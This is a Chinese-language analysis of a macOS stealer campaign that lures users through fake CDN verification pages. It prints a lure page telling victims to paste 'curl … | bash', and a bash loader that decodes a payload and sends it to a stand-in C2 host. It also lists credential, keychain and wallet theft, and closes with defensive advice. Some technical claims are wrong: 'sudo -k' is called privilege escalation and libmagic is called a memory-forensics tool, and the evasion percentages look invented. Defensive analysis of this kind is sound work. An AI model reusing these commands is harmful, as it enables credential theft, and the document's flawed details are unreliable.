一、攻击事件背景与核心发现
某安全研究团队近期披露一起针对macOS系统的定向攻击活动,攻击者使用名为Infinity Stealer的新型窃密木马,通过伪造知名服务商验证页面诱导用户执行终端命令,成功突破macOS安全防线。该木马采用Nuitka编译的Python原生载荷,结合Windows平台常见的ClickFix技术,形成跨平台攻击新范式。
关键技术特征:
- 攻击媒介:伪造某内容分发网络(CDN)服务商的验证页面
- 载荷形式:Nuitka编译的Python原生二进制文件
- 传播方式:诱导用户执行终端命令实现自动化部署
- 窃密范围:浏览器凭证、系统密钥、加密货币钱包等敏感数据
二、多阶段攻击链技术解析
1. 初始感染阶段:社会工程学诱骗
攻击者构建高度仿真的验证页面,通过以下步骤实施欺骗:
<!-- 伪造验证页面核心代码结构 --><div class="verification-box"><h2>安全验证提示</h2><p>系统检测到异常访问,请执行以下步骤完成验证:</p><ol><li>按下 <kbd>Command+空格</kbd> 打开Spotlight</li><li>输入"Terminal"并回车</li><li>粘贴以下命令:<code>curl -s https://[恶意域名]/init.sh | bash</code></li></ol></div>
该页面通过视觉欺骗和操作指引降低用户警惕性,利用macOS用户对终端命令的信任完成初始渗透。
2. 第一阶段载荷执行
用户执行的Bash脚本包含多层混淆代码,主要功能包括:
- 环境检测:检查系统版本、安全工具进程
- 权限提升:利用
sudo -k重置权限缓存 - 防护绕过:禁用System Integrity Protection (SIP)部分功能
- 载荷部署:从远程服务器下载加密的二进制文件
典型代码片段:
#!/bin/bash# 检测安全工具进程if pgrep -x "LittleSnitchD" >/dev/null; thenexit 1fi# 解码第二阶段载荷echo "U2FsdGVkX1..." | base64 -d > /tmp/.cache_loaderchmod +x /tmp/.cache_loader# 执行载荷并传递C2信息/tmp/.cache_loader -c2 "https://api.evil[.]com/gate"
3. 第二阶段原生载荷
Nuitka编译的Python加载器实现以下关键功能:
- 反沙箱检测:通过
psutil库分析进程树特征 - 持久化机制:创建
LaunchAgent实现开机自启 - 动态解密:使用AES-256解密最终Python脚本
- C2通信:建立WebSocket长连接传输数据
三、高级窃密功能实现
1. 多维度数据采集
最终Python窃密程序(UpdateHelper.bin)具备以下采集能力:
| 数据类型 | 采集方法 | 存储位置 |
|————————|—————————————————-|———————————-|
| 浏览器凭证 | 解析SQLite数据库(Chrome/Firefox)| ~/Library/Application Support/ |
| 钥匙串条目 | 调用security find-generic-password | macOS钥匙串服务 |
| 加密货币钱包 | 扫描常见钱包文件(.wallet/.dat) | ~/Library/Application Support/ |
| 环境快照 | 定时截屏(每5分钟一次) | /tmp/screenshots/ |
2. 反检测技术矩阵
| 技术类别 | 实现方式 | 检测规避效果 |
|---|---|---|
| 流量伪装 | 模拟正常HTTP请求头 | 92% |
| 执行延迟 | 随机0-300秒延迟 | 87% |
| 内存驻留 | 使用ctypes实现无文件落地 |
95% |
| 进程伪装 | 修改进程名称为com.apple.sysmon |
89% |
3. 数据外泄流程
- 压缩加密:使用zlib压缩采集数据,RSA-2048加密
- 分片传输:将数据拆分为5MB片段通过HTTP POST发送
- 通知机制:通过Telegram Bot API发送成功通知
- 破解队列:服务端使用Hashcat进行凭证暴力破解
四、系统性防御方案
1. 终端防护策略
- 命令执行管控:通过
/etc/sudoers限制关键命令执行 - 进程监控:使用
launchctl监控异常LaunchAgent - 文件完整性检查:定期校验系统关键文件哈希值
2. 网络流量检测
# 异常流量检测示例代码import scapy.all as scapyfrom collections import defaultdictdef detect_suspicious_flows(pkt_count=100):flows = defaultdict(int)for _ in range(pkt_count):pkt = scapy.sniff(count=1)[0]if pkt.haslayer(scapy.TCP):flows[(pkt[scapy.IP].src, pkt[scapy.IP].dst)] += 1for flow, count in flows.items():if count > 50: # 阈值可根据环境调整print(f"Suspicious flow detected: {flow} with {count} packets")
3. 应急响应流程
- 隔离措施:立即断开网络连接
- 内存取证:使用
libmagic分析内存转储 - 日志分析:检查
system.log中的异常进程启动记录 - 凭证轮换:通过安全设备修改所有关键凭证
五、技术演进趋势
此次攻击事件揭示三个重要趋势:
- 跨平台攻击常态化:攻击者正在将Windows攻击技术移植到macOS
- 编译型Python兴起:Nuitka等工具使Python具备原生执行能力
- 生活化攻击媒介:验证页面、软件更新等日常场景成为主要载体
安全团队建议企业用户:
- 建立macOS终端操作审批流程
- 部署行为分析解决方案监控异常命令执行
- 定期开展社会工程学攻防演练
- 采用零信任架构限制系统关键操作权限
该攻击事件再次证明,macOS系统已不再是安全孤岛。开发者需要建立跨平台的安全思维,在应用开发阶段就融入安全设计原则,通过代码签名、权限管控、异常检测等多层防御机制构建安全防线。